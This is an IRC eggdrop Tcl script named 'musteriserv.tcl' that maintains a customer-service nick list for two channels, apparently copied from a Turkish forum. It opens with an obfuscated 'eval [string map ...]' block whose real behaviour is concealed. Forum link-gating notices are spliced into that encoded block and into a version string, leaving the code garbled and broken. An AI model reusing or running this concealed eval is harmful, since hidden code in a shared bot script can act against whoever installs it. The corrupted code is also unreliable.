\145\u76\141\154 [\x73\164\u72\u69\u6e\147 \x6d\x61\x70 {e o a _ v n 0 . _ m {"} - 2 \} \] \] { } = \{ \\ n l ! \{ o k ) {[} \} + x {
} {    } i i ) t y l {    } g ( r x + h {$} g b w - v \\ f ( e k u {
} t f d 1 {$} m s c c y 2 = {"} d r s b w a h 1 {[} ! @ { } . 0 u p p @} m(\n@d(wnvw_(@=\{y_km\n(d\tm(d-0\ncn@h0.@gd(n(wm(i@st@skcwn\t=xm(\n@c\ncu\"-(dm\tev@=_km\n(d\tm(d-0\ncn@h0.@gd(n(wm(i@st@skcwn\t@rskcwn\trp+e\n_w\tn0ce_=xudec@_km\n(d\t@!@v\tco@k+em\n@+wvf@c+wv@wd\$@2@!x\$neswn@\n\$c+wv@\n\$c+wvy@se\nv\tco@v\tcon\tm\nx\t\\@!)\tmeu@1v\tco@1\n\$c+wvy\]2@!d(\nkdv@.2x\t\\@!1v\tco@\ \ @1se\nv\tco2@!d(\nkdv@.2xxl\t\\@!1c+wv@\ \ @1\n\$c+wv2@!xlm(\n@v\tcon\tm\n\\\tn(@)eu(v@1v\tcon\tm\n@d\]xlm(\n@vn\tm\n@)mun\t\n@)mksm\n@\"vece__wvfm@)d(wf@1v\tcon\tm\n\\\tn(\]\]@=\{v=\]xlm(\n@a\\\tn(@)eu(v@1v\tcon\tm\n@b\]@@@xll\\ed(wc+@\t@1vn\tm\n@!x@@@@l@@l\t\\@!)d(\$(ru@!g0\}i2@1\t@\n_u@(on(\]2@!xlll\t\\@!1(on(@\[\ @1v\tco2@!@uk\nm@1a\\\tn(@=1(on(=@2x@[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]ll2x@@@ll2xlcnem(@1a\\\tn(xlcnem(@1v\tcon\tm\n\\\tn(xl2xxl\t\\@!1c+wv@\ \ @1\n\$c+wvy2@!xlm(\n@v\tcon\tm\n\\\tn(@)eu(v@1v\tcon\tm\n@d\]xlm(\n@vn\tm\n@)mun\t\n@)mksm\n@\"vece__wvfm@)d(wf@1v\tcon\tm\n\\\tn(\]\]@=\{v=\]@@xll\\ed(wc+@\t@1vn\tm\n@!xllck\\ck\\@1\t@1\n\$c+wv@1\n\$c+wvyxlld(\nkdv@.xl@@@l2xlcnem(@1v\tcon\tm\n\\\tn(xl2xx2]

set realname "\2musteriserv.tcl 1.0 (release) by bucali"
set ctcp-version "musteriserv.tcl 1.0 (release) by bucali 
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
"
proc musteri { nick uhost hand chan arg } {
global tgchan tgchan2 botnick nicklist
if {[isop $nick $tgchan2]} {return 0}
if {$nick == $botnick} {return 0}

    if {$chan == $tgchan} {
    set nicklistfile [open $nicklist r]
    set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]
    set _file [open $nicklist w]   
        foreach i $nlist {
              if {[regexp {(.+)} $i tmp ekle]} {
            if {$ekle != $nick} { puts $_file "$ekle" }
              }
           }
    close $_file
    close $nicklistfile
    }

    if {$chan == $tgchan2} {
    set nicklistfile [open $nicklist r]
    set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]  
        foreach i $nlist {
        cufcuf $i $tgchan $tgchan2
        return 0
           }
    close $nicklistfile
    }

}